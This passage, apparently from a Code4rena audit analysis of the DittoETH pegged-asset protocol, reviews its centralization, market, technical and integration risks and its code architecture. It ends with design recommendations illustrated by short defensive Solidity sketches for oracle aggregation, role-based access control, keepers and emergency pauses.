Governance: The protocol is governed by a DAO (Decentralized Autonomous Organization), which has the power to make critical decisions, such as adjusting protocol parameters, managing the TAPP (Treasury Asset Protection Pool), and upgrading the protocol. If the DAO is not sufficiently decentralized or if there is a concentration of voting power among a few entities, it could lead to centralized decision-making and potential conflicts of interest.
Oracles: The protocol relies on external price oracles, such as Chainlink and Uniswap V3 TWAPs, to provide accurate price data for various assets. If these oracles are compromised or controlled by a centralized entity, it could lead to manipulation of price feeds and affect the integrity of the protocol.
Liquidity Provision: The liquidity of the DittoAssets and the underlying collateral assets is crucial for the proper functioning of the protocol. If there is a concentration of liquidity provision among a few entities, it could lead to centralization risks and potential market manipulation.
2. Systematic Risk
The DittoETH protocol operates within the broader context of the cryptocurrency and DeFi ecosystem, which exposes it to various systematic risks.
Market Volatility: The protocol’s collateral assets, such as LSTs (Liquid Staking Tokens) and ETH, are subject to market volatility. Sudden and significant price fluctuations of these assets could impact the collateralization ratios of short positions and trigger liquidations, potentially causing cascading effects on the protocol.
Regulatory Uncertainty: The regulatory landscape for cryptocurrencies and DeFi is still evolving, and there is uncertainty regarding the legal and compliance requirements for protocols like DittoETH. Changes in regulations or legal actions could have a significant impact on the protocol’s operations and adoption.
Interoperability and Composability: The DittoETH protocol interacts with other DeFi protocols and platforms, such as LST bridges and DEXes. Any vulnerabilities or failures in these external systems could have a ripple effect on the DittoETH protocol and its users.
graph TD
A[DittoETH Protocol] --> B[Market Volatility]
A --> C[Regulatory Uncertainty]
A --> D[Interoperability and Composability]
B --> E{Systematic Risk}
C --> E
D --> E
3. Technical Risk
The DittoETH protocol is a complex system that involves multiple smart contracts, libraries, and external dependencies. This complexity introduces various technical risks.
Smart Contract Vulnerabilities: The protocol’s smart contracts may contain vulnerabilities or bugs that could be exploited by malicious actors. These vulnerabilities could lead to loss of funds, unauthorized access, or disruption of the protocol’s functionalities.
Upgradability and Governance: The protocol’s upgradability mechanism, such as the Diamond standard, allows for the addition of new features and improvements. However, if the governance process for upgrades is not secure or if there are vulnerabilities in the upgrade mechanism itself, it could introduce technical risks.
Scalability and Performance: As the adoption and usage of the DittoETH protocol grow, scalability and performance issues may arise. If the protocol is not able to handle increased transaction volumes or if there are bottlenecks in the system, it could lead to delays, higher gas costs, and poor user experience.
graph LR
A[DittoETH Protocol] --> B[Smart Contract Vulnerabilities]
A --> C[Upgradability and Governance]
A --> D[Scalability and Performance]
B --> E{Technical Risk}
C --> E
D --> E
4. Integration Risk
The DittoETH protocol integrates with various external systems and dependencies, which introduces integration risks.
Oracle Integration: The protocol relies on price oracles, such as Chainlink and Uniswap V3 TWAPs, for accurate price data. If there are issues with the integration of these oracles, such as delays, inconsistencies, or vulnerabilities, it could affect the protocol’s functionality and security.
Bridge Integration: The protocol integrates with LST bridges to enable the deposit and withdrawal of collateral assets. Any failures or vulnerabilities in the bridge contracts or the integration mechanism could lead to loss of funds or disruption of the protocol’s operations.
DEX Integration: The protocol utilizes DEXes (Decentralized Exchanges) for liquidity provision and trading of DittoAssets. If there are issues with the integration of these DEXes, such as front-running, slippage, or liquidity crises, it could impact the protocol’s efficiency and user experience.
graph TD
A[DittoETH Protocol] --> B[Oracle Integration]
A --> C[Bridge Integration]
A --> D[DEX Integration]
B --> E{Integration Risk}
C --> E
D --> E
5. Other Risks
Non-Standard Token Risks: The DittoETH protocol supports the minting and trading of pegged assets, which are essentially synthetic tokens. These tokens may not adhere to standard token interfaces or behaviors, which could lead to compatibility issues or unexpected behavior when interacting with other DeFi protocols or wallets.
User Errors: The protocol’s user interface and user experience play a crucial role in ensuring the safe and correct usage of the platform. If users make errors while interacting with the protocol, such as inputting incorrect amounts, selecting wrong assets, or not understanding the implications of their actions, it could lead to financial losses or unintended consequences.
graph LR
A[DittoETH Protocol] --> B[Non-Standard Token Risks]
A --> C[User Errors]
B --> D{Other Risks}
C --> D
Overall Risk Diagram:
Note: to view the provided image, please see the original submission here.
This diagram provides an overview of the various risks associated with the DittoETH protocol. It highlights the main risk categories and their corresponding sub-risks, illustrating the complex and interconnected nature of these risks.
Managing and mitigating these risks requires a comprehensive risk management framework that includes:
- Regular audits and security assessments of the protocol’s smart contracts and dependencies.
- Continuous monitoring and alerting systems to detect and respond to any anomalies or suspicious activities.
- Robust governance mechanisms that ensure transparent and decentralized decision-making processes.
- Thorough testing and simulation of various market conditions and scenarios to assess the protocol’s resilience.
- Clear communication and education for users to help them understand the risks and make informed decisions.
- Collaboration with the broader DeFi community to share best practices, learn from other protocols, and collectively address common risks and challenges.
Software Engineering Considerations
Modularity and Separation of Concerns
The DittoETH protocol follows a modular architecture using the Diamond standard, which promotes the separation of concerns and allows for extensibility and upgradability. The codebase is organized into multiple facets, each responsible for a specific functionality, such as vault management (VaultFacet
), bridge interaction (BridgeRouterFacet
), orderbook management (BidOrdersFacet
, ShortOrdersFacet
), liquidation (PrimaryLiquidationFacet
), and redemption (RedemptionFacet
).
This modular approach enhances code maintainability, as each facet can be developed, tested, and deployed independently. It also enables the protocol to evolve and adapt over time by adding new facets or upgrading existing ones without disrupting the entire system.
For example, the VaultFacet
contract focuses solely on managing vaults and handling collateral deposits and withdrawals:
function depositAsset(address bridge, uint88 amount) external nonReentrant {
// ...
uint88 dethAmount = uint88(IBridge(bridge).deposit(msg.sender, amount));
vault.addDeth(bridgePointer, dethAmount);
// ...
}
This separation of concerns allows for a cleaner and more focused codebase, making it easier to understand, maintain, and extend.
Code Reusability and Libraries
The DittoETH protocol makes extensive use of libraries to encapsulate complex logic and promote code reusability. Libraries such as LibOrders
, LibAsset
, LibShortRecord
, and LibVault
contain utility functions and common operations that are used across multiple contracts.
For instance, the LibOrders
library contains functions for managing orders on the orderbook, such as adding, canceling, and matching orders:
function addBid(address asset, STypes.Order memory order, MTypes.OrderHint[] memory orderHintArray) internal {
// ...
addOrder(s.bids, asset, order, hintId);
// ...
}
By leveraging libraries, the codebase avoids duplication and ensures consistency in the implementation of common functionalities. This approach also improves code readability and maintainability, as the core logic is abstracted away into reusable units.
Error Handling and Validation
The DittoETH protocol incorporates robust error handling and validation mechanisms to ensure the integrity and security of the system. The Errors
library defines a set of custom error types that are used consistently throughout the codebase to provide meaningful and informative error messages.
Functions in the protocol’s contracts perform necessary validations and checks to prevent invalid or malicious inputs. For example, the createBid
function in the BidOrdersFacet
contract verifies the asset validity and checks for sufficient ETH balance before creating a bid order:
function createBid(/* ... */) external isNotFrozen(asset) onlyValidAsset(asset) nonReentrant returns (uint88 ethFilled, uint88 ercAmountLeft) {
// ...
if (eth < LibAsset.minBidEth(asset)) revert Errors.OrderUnderMinimumSize();
if (s.vaultUser[Asset.vault][sender].ethEscrowed < eth) revert Errors.InsufficientETHEscrowed();
// ...
}
These error handling and validation practices help in catching and preventing potential issues early in the execution flow, improving the overall robustness and reliability of the protocol.
Testing and Code Coverage
The DittoETH protocol places a strong emphasis on testing and code coverage to ensure the correctness and reliability of the smart contracts. The codebase includes a comprehensive test suite that covers various scenarios, edge cases, and potential vulnerabilities.
The tests are written using the Foundry framework, which provides a powerful and efficient testing environment for Solidity contracts. The tests cover unit testing of individual functions, integration testing of contract interactions, and scenario-based testing to simulate real-world usage patterns.
function testCreateBid() public {
// ...
(uint88 ethFilled, uint88 ercAmountLeft) = bidOrdersFacet.createBid(/* ... */);
// ...
assertEq(ethFilled, expectedEthFilled, "Incorrect ethFilled amount");
assertEq(ercAmountLeft, expectedErcAmountLeft, "Incorrect ercAmountLeft amount");
}
The extensive test coverage helps in identifying and fixing bugs, ensuring the expected behavior of the contracts, and maintaining a high level of code quality. It also provides confidence in the protocol’s functionality and security.
Documentation and Comments
The DittoETH codebase follows good documentation practices, with comprehensive comments and NatSpec annotations providing clear explanations of the purpose, functionality, and usage of each contract, function, and important code block.
/**
* @notice Creates bid order in market
* @dev IncomingBid created here instead of BidMatchAlgo to prevent stack too deep
*
* @param asset The market that will be impacted
* @param price Unit price in eth for erc
* @param ercAmount Amount of erc to buy
* @param isMarketOrder Boolean for whether the bid is limit or market
* @param orderHintArray Array of hint ID for gas-optimized sorted placement on market
* @param shortHintArray Array of hint ID for gas-optimized short matching above oracle price
*
* @return ethFilled Amount of eth filled
* @return ercAmountLeft Amount of erc not matched
*/
function createBid(/* ... */) external {
// ...
}
The provided whitepaper and technical documentation offer a high-level overview of the protocol’s architecture, components, and functionalities. This documentation helps developers, auditors, and users understand the protocol’s design and behavior, facilitating code review, integration, and adoption.
Recommendations/Architectural Improvements
Transition to a More Decentralized Oracle Solution
Currently, the DittoETH protocol relies on centralized price oracles, such as Chainlink and Uniswap V3 TWAPs, for obtaining asset prices. While these oracles provide reliable price data, they introduce a level of centralization risk into the system. If these oracles were to fail or be compromised, it could significantly impact the protocol’s functionality and security.
Recommendation: Consider transitioning to a more decentralized oracle solution, such as a decentralized oracle network or a multi-oracle approach. Decentralized oracle networks, like Tellor or UMA’s Oracle, leverage the power of decentralized networks to provide secure and tamper-resistant price data. A multi-oracle approach involves using multiple independent oracles and aggregating their data to reduce the reliance on a single oracle provider.
Example:
function getOraclePrice(address asset) internal view returns (uint256) {
// ...
uint256 tellorPrice = ITellorOracle(tellorOracleAddress).getPrice(asset);
uint256 umaPrice = IUMAOracle(umaOracleAddress).getPrice(asset);
uint256 chainlinkPrice = AggregatorV3Interface(chainlinkOracleAddress).latestAnswer();
// Aggregate prices from multiple oracles
uint256 aggregatedPrice = (tellorPrice + umaPrice + chainlinkPrice) / 3;
// ...
}
By diversifying the oracle sources and using decentralized solutions, the protocol can reduce its reliance on centralized oracles and enhance its overall security and resilience.
Implement a More Granular Access Control System
The current access control mechanism in the DittoETH protocol relies on the onlyDAO
modifier to restrict access to certain critical functions. While this provides a basic level of access control, it may not be granular enough to handle the diverse roles and permissions required in a complex system like DittoETH.
Recommendation: Implement a more granular access control system, such as role-based access control (RBAC), to provide finer-grained control over different functionalities and permissions. This can be achieved by defining specific roles, such as VAULT_MANAGER
, BRIDGE_OPERATOR
, LIQUIDATOR
, etc., and assigning these roles to different addresses or contracts.
Example:
contract AccessControl {
mapping(address => mapping(bytes32 => bool)) private _roles;
modifier onlyRole(bytes32 role) {
require(_roles[msg.sender][role], "AccessControl: sender lacks role");
_;
}
function grantRole(bytes32 role, address account) public onlyRole(DEFAULT_ADMIN_ROLE) {
_roles[account][role] = true;
}
// ...
}
contract VaultFacet is AccessControl {
// ...
function depositAsset(address bridge, uint88 amount) external nonReentrant onlyRole(VAULT_MANAGER_ROLE) {
// ...
}
// ...
}
By implementing a more granular access control system, the protocol can ensure that only authorized entities can perform specific actions, reducing the risk of unauthorized access and enhancing the overall security posture.
Introduce a Keeper System for Automated Tasks
The DittoETH protocol relies on external actors, such as liquidators and redeemers, to perform certain critical tasks, such as liquidating undercollateralized positions and processing redemption proposals. However, relying solely on external actors may lead to delays or inefficiencies in the execution of these tasks.
Recommendation: Introduce a keeper system that automates the execution of certain repetitive and time-sensitive tasks. Keepers are external entities that are incentivized to perform specific actions on behalf of the protocol. They can be implemented as standalone contracts or off-chain bots that monitor the protocol’s state and trigger the necessary actions when conditions are met.
Example:
contract LiquidationKeeper {
// ...
function performLiquidation(address asset, address shorter, uint8 id) external {
// Check if the position is eligible for liquidation
bool isUndercollateralized = PrimaryLiquidationFacet(primaryLiquidationFacetAddress).isUndercollateralized(asset, shorter, id);
if (isUndercollateralized) {
// Trigger the liquidation
PrimaryLiquidationFacet(primaryLiquidationFacetAddress).liquidate(asset, shorter, id);
// Claim keeper reward
// ...
}
}
// ...
}
By introducing a keeper system, the protocol can ensure the timely execution of critical tasks, reduce the reliance on manual interventions, and improve the overall efficiency and reliability of the system.
Implement Circuit Breakers and Emergency Pause Functionality
In the event of unexpected market conditions or potential vulnerabilities, it is crucial for the DittoETH protocol to have mechanisms in place to quickly respond and mitigate risks. Currently, the protocol lacks explicit circuit breakers or emergency pause functionality.
Recommendation: Implement circuit breakers and emergency pause functionality to allow the protocol to halt certain operations or freeze assets in case of extreme market volatility or potential security threats. Circuit breakers can be triggered automatically based on predefined thresholds, such as excessive price fluctuations or abnormal trading volumes. Emergency pause functionality can be controlled by a multisig or a decentralized governance mechanism.
Example:
contract EmergencyPause is AccessControl {
bool private _paused;
modifier whenNotPaused() {
require(!_paused, "Paused");
_;
}
function pause() external onlyRole(PAUSE_ROLE) {
_paused = true;
}
function unpause() external onlyRole(PAUSE_ROLE) {
_paused = false;
}
// ...
}
contract VaultFacet is EmergencyPause {
// ...
function depositAsset(address bridge, uint88 amount) external nonReentrant whenNotPaused {
// ...
}
// ...
}
By implementing circuit breakers and emergency pause functionality, the protocol can quickly respond to adverse situations, protect users’ assets, and maintain the stability and integrity of the system.
Conduct Regular Security Audits and Formal Verification
Given the complexity and critical nature of the DittoETH protocol, it is essential to ensure the highest level of security and correctness of the smart contracts. While the codebase includes extensive testing and follows best practices, regular security audits and formal verification can provide additional assurance.
Recommendation: Conduct regular security audits by reputable third-party auditors who specialize in smart contract security. These audits can help identify potential vulnerabilities, suggest improvements, and validate the overall security posture of the protocol. Additionally, consider applying formal verification techniques, such as model checking or theorem proving, to mathematically prove the correctness of critical components and invariants.
Example:
// Invariant: The total collateral in the system should always be greater than or equal to the total debt
invariant totalCollateral() >= totalDebt()
function totalCollateral() public view returns (uint256) {
// ...
}
function totalDebt() public view returns (uint256) {
// ...
}
By subjecting the protocol to regular security audits and applying formal verification techniques, the DittoETH team can demonstrate their commitment to security, build trust among users and stakeholders, and ensure the long-term resilience and reliability of the protocol.
Conclusion
The DittoETH protocol presents a sophisticated and innovative approach to pegged asset issuance and trading on the Ethereum blockchain. By leveraging the power of liquid staked ETH (LSTs) as collateral and introducing an orderbook-based minting mechanism, DittoETH aims to provide a decentralized and efficient platform for creating and exchanging a wide range of pegged assets. The protocol’s modular architecture, based on the Diamond standard, promotes separation of concerns, extensibility, and upgradability. The codebase demonstrates a strong commitment to code quality, with extensive testing, comprehensive documentation, and adherence to best practices in smart contract development.
However, the complexity of the DittoETH protocol also introduces various risks and challenges that need to be carefully addressed. The reliance on centralized price oracles, the potential for centralization risks in governance and liquidity provision, and the exposure to systematic risks in the broader DeFi ecosystem are notable concerns that require ongoing monitoring and mitigation strategies. To further enhance the protocol’s security, resilience, and long-term viability, several architectural improvements and recommendations have been proposed. These include transitioning to a more decentralized oracle solution, implementing a granular access control system, introducing a keeper system for automated tasks, incorporating circuit breakers and emergency pause functionality, and conducting regular security audits and formal verification.
By addressing these recommendations and continuously iterating on the protocol’s design and implementation, the DittoETH team can strengthen the protocol’s foundation, mitigate potential risks, and establish DittoETH as a leading platform for pegged asset issuance and trading in the DeFi landscape. However, it is important to acknowledge that the success and adoption of the DittoETH protocol also depend on factors beyond the technical implementation. Building a robust ecosystem of partnerships, attracting liquidity and user adoption, and navigating the evolving regulatory landscape will be critical challenges that the DittoETH team must address to ensure the protocol’s long-term growth and sustainability.
In conclusion, the DittoETH protocol represents a significant step forward in the realm of pegged asset issuance and trading on the Ethereum blockchain. With its innovative design, modular architecture, and commitment to security and code quality, DittoETH has the potential to revolutionize the way pegged assets are created and exchanged. However, the protocol’s success will depend on the team’s ability to address the identified risks, implement the recommended improvements, and foster a thriving ecosystem around the protocol.
Time spent
41 hours
Disclosures
C4 is an open organization governed by participants in the community.
C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.